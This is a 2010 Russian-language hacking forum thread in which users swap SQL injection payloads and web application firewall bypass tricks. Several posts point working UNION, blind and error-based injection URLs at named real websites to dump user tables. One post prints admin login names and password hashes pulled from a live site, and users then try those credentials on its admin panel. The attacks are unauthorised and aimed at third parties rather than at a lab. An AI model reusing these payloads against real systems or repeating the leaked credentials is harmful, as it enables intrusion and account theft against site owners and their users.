Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    289
    Reputations:
    195
    Может быть ты имел ввиду

    HTML:
    union+(select+1,2,table_name,4,5+from+(information_schema.tables))

    Пробуй так:

    Code:
    from+information_schema.`tables`
    
    Code:
    from+/*!information_schema.tables*/
    
    И с чего ты взял, что там фильтруется именно union select information_schema.tables, а не например union select from?

    Вот варианты на случай, если фильтруется union select from https://forum.antichat.ru/showpost.php?p=2289579&postcount=14623, ну и если фильтруется и то и другое.
     
    #15101 h00lyshit!, 15 Oct 2010
    Last edited: 23 Mar 2011
    5 people like this.
  2. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Ну и from+information_schema./*!tables*/

    Да и вообще, не факт что там именно на .tables реагирует.
    Поэтому или ссылку кидай или потестируй на каком этапе отрубает.
     
  3. Алкорайдер

    Joined:
    3 Jun 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    буду использовать гугл прежде чем задавать вопросы
    буду использовать гугл прежде чем задавать вопросы
    буду использовать гугл прежде чем задавать вопросы
    буду использовать гугл прежде чем задавать вопросы
    буду использовать гугл прежде чем задавать вопросы
    буду использовать гугл прежде чем задавать вопросы
    буду использовать гугл прежде чем задавать вопросы
     
    #15103 Алкорайдер, 15 Oct 2010
    Last edited by a moderator: 15 Oct 2010
  4. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    На локальной серваке следующие запросы вызывали ошибку:
    (SELECT+1,table_name,3,4,5)from(iNformation_schema.tabl%00es)
    (SELECT+1,table_name,3,4,5)from(iNformation_schema.tables)
    а вот запрос
    (SELECT+1,table_name,3,4,5 from iNformation_schema.tables)
    прошел.

    Кстати не понял почему такой запрос тоже вызвал ошибку
    (SELECT+1,table_name,3,4,5+from iNformation_schema.tables)
     
  5. KENT1994

    KENT1994 Elder - Старейшина

    Joined:
    25 Sep 2009
    Messages:
    79
    Likes Received:
    36
    Reputations:
    14
    Redwood, мне нужно слить определенные таблицы (например users)
     
  6. grably

    grably New Member

    Joined:
    6 Jul 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Приветсвую господа!

    Столкнулся с такой траблой, прочитал все таблицы:
    http://www.pro-projector.ru/news_N.php?id_page=13-999.9+union+select+1,2,3,group_concat%28table_name%29,5,6,7,8,9+from+information_schema.tables+where+table_schema=database%28%29+--+

    затем прочитал колонки:

    http://www.pro-projector.ru/news_N.php?id_page=13-999.9+union+select+1,2,3,group_concat%28column_name%29,5,6,7,8,9+from+information_schema.columns+where+table_name=0x7573657273+--+

    но вывести данные которые нужно не могу, выводит лишь первую колонку:

    http://www.pro-projector.ru/news_N.php?id_page=13-999.9+union+select+1,2,3,id_user,5,6,7,8,9+from+users+--+

    а вывести user_name,user_hash не получается никак, я так понимаю это фильтруется, пробовал юзать CHAR, HEX, не пашет ((

    Посоветуйте, пожалуйста!

    П.С. Друзья а как вы боретесь с хостингом SWEB.RU который мешает проверять сайты на прочность ?
     
    #15106 grably, 15 Oct 2010
    Last edited: 15 Oct 2010
  7. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    таблиц users несколько, в той базе с которой ты работаешь в этой таблице нет колонок user_name.

    http://www.pro-projector.ru/news_N.php?id_page=13-999.9+union+select+1,2,3,group_concat%28column_name%29,5,6,7,8,9+from+information_schema.columns+where+table_name=0x7573657273%20and%20table_schema=0x70726f70726f6a5f70726f70726f6a6563746f72+--+

    user_name

    http://www.pro-projector.ru/news_N.php?id_page=13-999.9+union+select+1,2,3,group_concat%28user_name%29,5,6,7,8,9+from+proproj_sugarcrm.users+--+
     
    #15107 R1dex, 15 Oct 2010
    Last edited: 15 Oct 2010
    1 person likes this.
  8. KREGI

    KREGI Banned

    Joined:
    9 Feb 2009
    Messages:
    42
    Likes Received:
    3
    Reputations:
    1
    Логин админа
    http://www.pro-projector.ru/news_N.php?id_page=13+and+1=0+%20Union%20Select%20%201,2,3,user_name,5,6,7,8,9%20from%20proproj_sugarcrm.users
    Хеш пароля админа
    http://www.pro-projector.ru/news_N.php?id_page=13+and+1=0+%20Union%20Select%20%201,2,3,user_hash,5,6,7,8,9%20from%20proproj_sugarcrm.users

    p.s. отображаются в теге title
     
    #15108 KREGI, 15 Oct 2010
    Last edited: 15 Oct 2010
  9. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Сам не сталкивался, а каким образом это проявляется?
     
  10. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,587
    Likes Received:
    405
    Reputations:
    196

    Фаервол стоит, который проверяет запросы на наличие запрещенных слов (from, information_schema и еще каких-то) и редиректит на служебную страницу с сообщением, что запрос отвергнут
     
  11. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Ну понятно, то есть какой-нибудь WAF стоит. Наверно и универсального решения тут не будет. Если это mod_security какой-нибудь, то есть пути обхода, начиная от простых вариантов типа /*!union*/ и т.д. Но если что-то более серьезное типа "Баракуды", которая специально нацелена на такого вида запросы, включая и работу с https, то тут все намного сложнее.
     
  12. grably

    grably New Member

    Joined:
    6 Jul 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0

    Неподходит ((
    http://www.pro-projector.ru/admin/index.php
    admin
    1805

    пробовал также +limit+1,1
    snow
    8500

    тоже не подходит
     
  13. grably

    grably New Member

    Joined:
    6 Jul 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0

    ну вот живой пример:

    http://www.scrz.ru/show_part.php?id=2061-999.9+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
     
  14. nullik

    nullik Member

    Joined:
    26 Feb 2010
    Messages:
    116
    Likes Received:
    44
    Reputations:
    1
    Всем спасибо, фильр в итоге обошел вот так
    .php?id=10+union(SELECT+1,group_CONCAt(table_name),3,4,5+from+information_schema./*!tables*/+where+table_name+like(0x257573657225))
    Плюсики накидал, ибо помогло. ;)
     
  15. KREGI

    KREGI Banned

    Joined:
    9 Feb 2009
    Messages:
    42
    Likes Received:
    3
    Reputations:
    1
    HTML:
    http://www.scrz.ru/show_part.php?id=2061+and+1=0+=null=null%20union%20select+1,database%28%29,3,4,5,6,7,8,9,10,11,%2012,13,14,user%28%29,version%28%29,17,18,19,20
    ну а дальше блокирует как бы сказано выше...

    хм... не пойму почему... больше не где не нахожу хеши...
     
    #15115 KREGI, 16 Oct 2010
    Last edited: 16 Oct 2010
    1 person likes this.
  16. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    461
    Likes Received:
    62
    Reputations:
    26
    пля = \ помогите лимит подобрать = \
    http://pogoda.v.ua/index.php?id=-264
    Дошол до 120 и ничего = \
     
  17. KREGI

    KREGI Banned

    Joined:
    9 Feb 2009
    Messages:
    42
    Likes Received:
    3
    Reputations:
    1
    _http://pogoda.v.ua/index.php?id=-264%20Union%20Select%20%201%20,%20version%28%29%20,3,4,5
    Tag title

    Интересно кому?
    HTML:
    http://www.yadonor.ru/ru/become/calendar_day/index.php?id_4[]=20101009000000
     
    #15117 KREGI, 16 Oct 2010
    Last edited: 16 Oct 2010
  18. Malygos

    Malygos New Member

    Joined:
    9 Oct 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    No good.
    site.php?orderby=-1 is true (ASC)
    site.php?orderby=-2312 is true (ASC)
    site.php?orderby=1 is false (no columns at all)
    site.php?orderby=,1 is true (ASC)
    site.php?orderby=*(IF(1=2,1,0)) is true (WTF???)

    site.php?orderby=*(IF(1=1,0,0)) true again (asc)

    Have no idea what to do. Any help?
     
  19. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    2 grably:

    http://www.scrz.ru/show_part.php?id=2061%20and%20ascii(lower(substring((select%20table_name%20from%20information_schema.tables%20limit%2017,1),1,1)))%3E1--
     
  20. ALIM

    ALIM Member

    Joined:
    20 Apr 2010
    Messages:
    60
    Likes Received:
    6
    Reputations:
    5
    Подскажите как дальше разкручивается скуль с name_const
    вот так показывает 5-ю версию
    site.com/2.php?id=6+and+(1,2)in(select+*+from(select+name_const(version(),1),name_const(version(),1))as+a)&t=Community

    как нужно изменить запрос чтобы вытянуть название таблиц из information_Schema.tables. Так ничего не выходит:
    site.com/2.php?id=6+and+(1,2)in(select+*+from(select+name_const(table_name,1),name_const(table_name,1)+from+information_Schema.tables)as+a)&t=Community
     
Loading...
Thread Status:
Not open for further replies.